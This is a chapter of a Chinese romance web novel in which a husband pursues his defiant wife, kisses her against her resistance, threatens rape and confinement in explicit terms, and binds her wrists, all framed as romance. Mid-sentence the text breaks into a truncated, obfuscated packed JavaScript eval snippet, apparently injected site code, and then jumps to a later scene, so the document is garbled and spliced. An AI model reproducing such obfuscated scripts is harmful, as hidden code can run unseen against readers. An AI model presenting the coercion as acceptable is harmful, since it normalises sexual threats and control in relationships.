段锐看了蔺承则一眼,他坐的那个位置,只能看到男人一个侧影,可仅仅是一个侧影,就能看出他绝不是一个好惹的人。 犹豫两秒,段锐还是决定起身帮黎清昭开脱:“清昭确实没在这里,你留在这儿,我们打麻将可能也不方便。” 蔺承则抬眸看了眼段锐,眸色平静得如同一潭死水。两人对峙大概五六秒,段锐架不住如此锐利的眼神,率先败下阵来,偏头避开视线。 也几乎就是这短短的几秒时间,蔺承则确定,段锐对他的小妻子有好感。 这种有敌意,有诧异,又有些不服的眼神藏不住。 “打麻将三个人很没意思,恰好我有空,陪你们打两局。我楼下停了一辆车,就当赌注,谁赢了归谁。” 说着,蔺承则缓缓起身,把手上的钥匙扔在麻将桌上,看那个架势是真打算动真格的,打算坐在麻将桌上和他们切磋一番。 终于,在蔺承则坐在麻将桌前那一刻,黎清昭主动掀开窗帘从阳台出来。她攥着手机,忿忿地看向他。她怎么会不知道,他的一言一行、一举一动就是为了逼她主动出来。 她不出来,他就和她的朋友们虚以委蛇,就等同于搅乱了这场牌局。 黎清昭捏了捏眉心,觉得自己活了二十年的脸面都在这一天丢光了,她不想让她的朋友们觉得她怕老公,她要在情感中占据绝对优势和高位。 “你来干嘛?我不想见你,麻烦你尽快离开,不要影响我的朋友。” 她的语气冷冰冰的,显然已经开始生气了。 当然,她这么说也不是全然为了发泄情绪,更是为了维护自己的面子,显得她在家里很有话语权,毕竟黎大小姐是最高傲的。 蔺承则看着她倔强的小脸,听着她刻薄的话语,又想起她昨天的满口谎言,简直被她气得半死。 他放心不下她,他很想念她,为了尽快从慕尼黑赶回来,为了尽快见到她,他选择了最近的一趟航班,中途在法兰克福转机,折腾了将近十四个小时才到北城。 下飞机后,他看到她昨晚给他发的微信,她告诉他她回家了,于是他便直奔她的那套大平层,结果扑了个空。他以为她回别墅了,给家里的阿姨打电话,阿姨说她从搬走就再也没回来过。他又以为她回黎家了,驱车过去碰到了陈玖,陈玖好心告诉她清昭昨晚在朋友家住。他接着又要了赵悯粤家的地址,马不停蹄地去找她,结果被阿姨告知他们出去玩儿了。 蔺承则顶着十个小时的时差,匆匆赶到私人俱乐部,以为这次终于能顺利见到她了。 结果她倒好,撒谎就罢了,还和他玩起了捉迷藏。 既然她喜欢,那他就陪她玩儿。反正他都被折腾成了这样,不缺这点儿耐心陪她继续耗着。 终于,是她按捺不住,选择缴械投降。 可她见到他的第一句话就是嫌弃他、是对他恶语相向。 蔺承则把眼镜摘下来,随手扔在麻将桌上,他抬手轻而易举地扯着她的手腕把她拽了过来,将她抱在了怀里,“刚刚赢没赢,要是输了的话,我给你赢回来。” 原本宽敞的地方,骤然显得拥挤、逼仄,更可怕的时候,那股似有若无的暧昧,在两人之间无限蔓延。 黎清昭简直想要咬死他、踢死他,她可没这个闲心在这和他扮演一对恩爱的模范夫妻。她觉得自己被他这样胁持,脸面都要丢光了,于是狠狠地在桌子下踩了他一脚。 蔺承则微微蹙了蹙眉头,左手揽着她的腰,右手懒散去掷骰子。他掷了个“三点”和“四点”,开口说:“对家。” 坐在他们对面的是千羽,她显然是没有见过这种架势,只能唯命是从,机械地去数牌。 眼看着蔺承则真打算打两把麻将,黎清昭咬了咬下唇。她知道,他分明就是故意来搅局的。这个老混蛋,他可真有本事拿捏她。 “可以回家吗?”她妥协。 “不玩儿了?” 黎清昭露出个假笑,“拜你所赐,我现在想回家。” 蔺承则松开手,黎清昭连忙从他腿上起来,攥着手机扭头就走。她生气起来,也很有架势,主打谁都不理,谁的面子都不给。 蔺承则看了眼麻将桌上的三人,微微颔首,“你们继续,我们先回家了。” 男人追出来的时候,黎清昭已经抱着胳膊走到了电梯口,正抬手忿忿地按电梯发泄。她余光瞄到他,轻哂一声,“拜你所赐,我的脸都要丢光了。” 别人都是“妻管严”,到了她这就成了“夫管严”,她可真倒霉。 说话的功夫,电梯门打开,蔺承则攥住她的小手,强势地把她拉到自己身边。 黎清昭尝试着掰开他的手,无果之后,便也不再挣扎,任由他牵着。 封闭的电梯内,只有他们两个人。黎清昭看着镜中的自己,越想越气,可她告诉自己要忍耐。吵架也不能在外面吵,要关起门来回到家再吵,毕竟家丑不可外扬。 她紧紧地盯着红色的数字,在听到“叮咚”一声之后,趁着男人不注意,果然甩开他的手,小跑着出去。 蔺承则腿上,三两步就追上她,他再次攥住她的手,两人十指相扣,掌心很快就沁出了汗水。 走到车前,他终于开口:“回家,我们聊一聊。” 黎清昭被他塞进了副驾驶,抱着胳膊扭着头,不愿意看她。她生起气来很明显,只要不是傻子就能看透。 蔺承则不想和她较劲儿,在他认知里,争执只是发泄情绪的一种方式,根本就解决不了任何实际问题。 他虽然气归气,可看到她安然无恙、活蹦乱跳地站在他面前,他的心也算是放到了肚子里。 蔺承则把刚系好的安全带解开,抬手捏了捏她的小脸,哄着她说:“我给你和你的猫带了礼物,就在家里,你一定会喜欢。” 要是平时,黎清昭绝对会感到惊喜。她虽然不缺礼物,可还是头一遭有人顺带着给她的宝贝猫也带了礼物。 可现在,她才不想屈服于他“打一巴掌给一颗甜枣”的手段。她只觉得,今天他既然能追到私人俱乐部、追到麻将桌上把她逼回家,明天就会有更强势、更蛮不讲理的方式限制她的交友和自由。 她必须强硬,必须能作,必须誓死捍卫自己的地位,不能任由他拿捏。 “我不稀罕。”黎清昭连头都没回,眼睛直勾勾地盯着车窗。 “你看都没看过,就说不喜欢。黎小姐,你说说你是不是有些不讲理了?”他的语气依旧很柔和,还在哄她。 “不喜欢!不喜欢!不喜欢!”她瞪了他一眼,“只要是你送的我就不喜欢,这样够了吗?听明白了吗?” 蔺承则的眉头蹙了起来,他发现他越来越贪婪了。以前听她说这些直白、露骨又伤人的话,他可以做到无动于衷、毫不在意,那时候他想,只要得到她就可以了。而现在,他分明更在意她的话、在意她对他的态度。 “清昭,我不喜欢听这些话。”他警告她,语气强势霸道,不容置喙。 黎清昭见他这个态度,更加委屈,他限制她的自由就罢了,居然还要管她说什么话。 她是个直性子,是个小辣椒,有些话不说出来她简直能憋到爆炸。 黎清昭才不愿意内耗自己,与其把自己憋得抑郁、低沉,还不如把他祖宗八辈都骂了。 她叉着腰,“凭什么你不喜欢听,我就不能说?嘴巴长在我身上,我想说什么就说什么,你不愿意听你就捂上耳朵好了,凭什么对我指指点点。” 她看着他沉下来的脸色,轻笑一声,“怎么,受不了我的话?觉得我刻薄,觉得我蛮不讲理,觉得骄纵跋扈、大小姐脾气?那不好意思,我从小大就是这么长大的,身边的每个人都被我平等地骂过。你如果受不了,那也是你活该,谁让你非要逼我和你结婚的!” 蔺承则忍无可忍,“我看你是要气死我。” 话音刚落,他掌心抵在她的后脑勺上,把她钉在副驾驶,低头就吻了下去。 黎清昭抬手去推他,双手轻而易举被他钳制住。他故意使坏地咬了下她的嘴唇,以示惩罚。 黎清昭轻“嘶”一声,“你敢咬我!” 蔺承则不容她说完,又霸道地闯入她的世界,勾住她柔软的小舌头,甚至贪婪地扫荡她口腔的每一寸土地。 黎清昭被他亲得喘不过气,小脸通红,胸口剧烈起伏,“老混蛋,你松开我。” 蔺承则算来算去,他已经将近半个月没有碰过她,一亲到她,就有种食髓知味的感觉。他舍不得松开她,也妄图通过这种方式制服她。 她欠收拾,欠管教。 他不舍得欺负她,只能这样惩罚她。 黎清昭一边沉沦在他绝佳的吻技之中,一边又抗拒地推他,因为她要被他亲得窒息。 可他还是不愿意放开她,他喜欢掌控一切,在她即将缺氧的时候,又松开她,却又在她重新活过来之后又堵上她的嘴巴,吮咬她的嘴唇。 终于,终于,有人在外面敲车窗,拯救了她。 听见动静,两人皆是一震,黎清昭连忙推开了他,绷着脸偏过头不说话。 蔺承则简单擦了擦嘴唇上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也许是车内的空气太闷,气氛太过压抑,黎清昭想开窗透口气。她按了两下开关,窗户没打开,才偏过头看向他,“开窗户。” 蔺承则把车窗降下一点儿,偏过头看向她:“终于舍得和我说话了。” “再开大一些。” 蔺承则照做,把窗户降到一半。 寒风很快顺着车窗钻进来,吹得黎清昭的头发飞了起来。她被吹得很爽,下巴抵在窗户上往外看,她甚至想伸出手感受一下风的味道。 结果手还没伸出去,就被男人呵斥住了。 “不许把手伸出去,太危险了。” 黎清昭嫌他事多,嘟着嘴说:“要你管。” “什么都不要我管。你是忘记我是你的丈夫了吗?”他提醒她。 “你不是我主动选择的丈夫。” 所以她的生活顺意起来,她还能满足。但稍微有一些不开心,她就会加倍委屈,会想到他不是她选择的良人。 “那谁是?”他语气很平静,似乎只是在单纯和她聊天。 黎清昭故意气他,“你知道。” 她被风吹得打了个喷嚏。 “我不知道。你主动选择的丈夫是谁,你说说看。” 他握紧方向盘,他也不知道是被风吹得,还是被她气得,头一阵一阵的疼,便抬手把窗户升上。 黎清昭瞪着眼看他,“是你让我说的。” “嗯,我让你说的,你说说看。” 黎清昭扁了扁唇,一声不吭。谁会是她主动选择的丈夫,蔺逸远吗? 要是半年前,她会确定地回答是蔺逸远。可现在呢,她也不知道。 “反正不是你。” “嗯,不是我,那你有什么办法吗?清昭,别忘了,是你松口答应的嫁我。” “我那是被你强迫的,你也好意思提。” 蔺承则偏过头看她,目光幽深,“你知道什么叫强迫你吗?我说你单纯,你还不相信,那我今天告诉你,如果我想强迫你,我就会把你按在床上,扒掉裤子,屁股抽烂,操得你服软。不是任性吗,不是不服管教吗,不是无法无天吗?那就锁在家里,没日没夜地操,直到把你操服了。” 黎清昭显然没想到他会说这样的话,这样肮脏、低俗、下三滥的话。 他语气平平,似乎是在诉说他最直白的念头、最丑陋的心思。 可他越是这样,她越是害怕。 或者说,吵了这么久,她终于想起了怕他。 黎清昭眨了眨眼,眼圈泛红,她看着他眼底的乌青,提了提士气,“你敢?那是强/奸犯。” “如果再有一次,你用自己的人身安全来吓唬我,你可以试试我敢不敢。” 黎清昭双手一秒都不想和他呆下去了,这个老混蛋,就会吓唬她,坏透了。 “停车!”她说。 蔺承则不理她。 黎清昭前倾着身体去碰他的手,想要让他停下来。 蔺承则蹙了蹙眉,他觉得他今天半条命都要被她气没了。刚教育过她开车的时候不许把手往外伸,现在就来抢方向盘。 不过,他最气的还是他自己,怎么就喜欢上了这么个小犟种、小倔驴。 “谁教你的,还敢抢司机的方向盘?我看你是无法无天了,命都不要了是吗?” 黎清昭愣了一下,立刻老实,不过她还是嘴硬,拒不承认自己的错,“你别往我身上泼脏水,我就是碰了一下你的手而已。” 蔺承则打开双闪,把车停在路边。 黎清昭达到目的就想跑,也不管他被气得脸色发黑。 她用力去掰车门,结果打不开,“开门。” “清昭,你乖一些,我们回家聊。” “我和你没什么可聊的。你与其和我讲道理,还不如和我离婚,给我个痛快。” 她边说边去掰车门,觉得这日子是一天都过不下去了。 蔺承则见状,语气严肃三分,“你确定要继续闹下去?” 黎清昭抬脚故意踢了踢车门,闹出动静,表达自己反抗的决心。 蔺承则二话不说,直接抽出领带,攥住她的两只手。还没等黎清昭反应过来,男人把领带捆在了她的手腕上,“看我回家怎么收拾你。” 黎清昭难以置信地看着自己被捆住的双手,“你个老混蛋,你到底想怎么样?” “你居然敢捆我!” 从小到大,她都没受过这种委屈。 她是犯了什么大罪吗,居然要被他绑起来。 “混蛋!混蛋!混蛋!” 蔺承则轻笑一声,突然觉得他就不该和她斗嘴、和她讲道理,她说什么都有理,嘴巴比谁都厉害。 他就应该直接收拾她,人教人教不会,事教人一次就会。 蔺承则捏住她的下巴,温柔地在她的唇畔上亲了一下,混不吝地说:“我不仅敢捆你,还敢操/你。”